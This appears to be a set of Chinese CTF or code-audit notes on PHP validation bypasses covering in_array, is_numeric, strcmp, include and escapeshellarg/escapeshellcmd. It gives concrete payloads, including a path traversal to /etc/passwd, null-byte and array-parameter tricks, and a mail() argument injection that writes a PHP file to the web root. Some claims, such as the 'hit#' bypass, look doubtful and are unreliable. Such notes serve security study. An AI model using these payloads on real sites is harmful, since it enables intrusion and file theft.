in_array
in_array函數用來判斷一個值是否在一組數組中
總共三個參數,如果最后一個type為true,則為嚴格類型校驗 類似於===
如果沒有type=true則為弱類型匹配,此時存在類型強制轉換導致繞過校驗的風險
比如:
$whitelist = ["hit"]; if (in_array($page, $whitelist)) { echo "yes"; return true;
以上就是驗證這個page是否滿足這個hit,那么傳入page=hit#即可進行繞過
經過測試,目前只發現#可以繞過這個字符串in_array校驗的
下面是數字型的繞過
$whitelist = [1,2,3]; if (in_array($page, $whitelist)) { echo "yes"; return true;
可以傳入page=1wff 1; 1,(前面是數字后面是字符串或者符號 進行繞過)審計代碼時,留意可能存在注入點
include
include("index.php?../../../../../etc/passwd");
這樣可以繞過文件包含限制,達到任意文件包含的目的
is_numeric
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
如果遇上情況,傳入:password=404%00即可
此函數還可以導致sql注入,傳入1' or '1的hash即可
is_numeric('%201') 返回true
s_numeric('%0a1') 返回true
php中的strcmp漏洞
說明:
參數 str1第一個字符串。str2第二個字符串。如果 str1 小於 str2 返回 < 0; 如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。
可知,傳入的期望類型是字符串類型的數據,但是如果我們傳入非字符串類型的數據的時候,這個函數將會有怎么樣的行為呢?實際上,當這個函數接受到了不符合的類型,這個函數將發生錯誤,但是在5.3之前的php中,顯示了報錯的警告信息后,將return 0 ,傳入money[]=1 即可繞過。
也就是雖然報了錯,但卻判定其相等
php://input 如何post提交和data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 進行繞過file_get_contents()
escapeshellarg/escapeshellcmd([BUUCTF 2018]Online Tool 講解了這個漏洞)
詳細分析一下: 傳入的參數是:172.17.0.2' -v -d a=1 經過escapeshellarg處理后變成了'172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。 經過escapeshellcmd處理后變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最后那個不配對兒的引號進行了轉義:http://php.net/manual/zh/function.escapeshellcmd.php 最后執行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由於中間的\\被解釋為\而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符。所以可以簡化為curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\發起請求,POST 數據為a=1'。 回到mail中,我們的 payload 最終在執行時變成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com',最終的參數就是這樣被注入的。